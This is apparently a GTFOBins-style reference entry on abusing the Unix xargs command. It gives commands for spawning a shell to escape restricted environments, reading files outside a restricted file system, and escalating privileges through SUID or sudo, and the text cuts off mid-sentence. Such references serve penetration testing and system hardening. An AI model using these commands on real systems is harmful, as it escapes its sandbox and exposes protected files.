It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only.Usecase:
xargs -a /dev/null sh
echo x | xargs -Iy sh -c 'exec sh 0<&1'
Read interactively from
xargs -Ix sh -c 'exec sh 0<&1' x^D^D
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
This works as long as the file does not contain the NUL character, also a trailing
$'\n' is added. The actual
/bin/echo command is executed. GNU version only.
LFILE=file_to_read xargs -a "$LFILE" -0
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems
like Debian that allow the default
sh shell to run with SUID privileges.
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on